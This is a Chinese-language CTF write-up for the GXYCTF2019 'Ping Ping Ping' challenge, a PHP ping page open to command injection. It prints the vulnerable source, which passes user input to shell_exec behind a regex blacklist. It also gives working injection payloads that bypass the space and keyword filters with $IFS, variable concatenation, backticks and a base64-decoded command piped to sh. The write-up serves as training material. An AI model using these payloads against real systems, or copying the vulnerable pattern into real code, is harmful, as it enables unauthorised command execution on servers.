GXYCTF2019-PingPingPing

[GXYCTF2019]Ping Ping Ping

页面显示这样,先试着 ping 127.0.0.1,ping 的通,是 linux 命令执行
尝试 执行其他命令:/?ip=127.0.0.1;ls 页面显示

1
2
flag.php
index.php

?ip=127.0.0.1 ;cat flag.php,提示:/?ip= fxck your space!(检查你的空间)
可能又是什么被过滤了
首先判断是空格被过滤了,尝试命令:?ip=127.0.0.1 ;cat${IFS}$1flag.php,提示 fix your symbol(检
查你的符合),不行,几种尝试后,发现 $IFS$1和IFS可以绕过空格过滤,然后提示:fix your flag,那
差不多flag 也被过滤了
它还有一个 index.php ,我们打开看看有什么 /?ip=127.0.0.1;cat$IFS$1index.php
发现就是php后台过滤flag 的详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/?ip=
PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\
{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>

然后把上面除了反斜杠的绕过方式,其他的都试了一遍,发现以下三种情况可以绕过过滤,得到flag

1. 拼接

1
/?ip=127.0.0.1;a=f;b=l;c=g;d=a;cat$IFS$1$a$b$d$c.php,F12查看源码得到 flag

2. 内联

1
/?ip=127.0.0.1;cat$IFS$1 ls (ls左右有``内联符号)F12查看源码得到 flag

3. base64编码

1
2
/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh(bash的情况不行),F12查
看源码得到 flag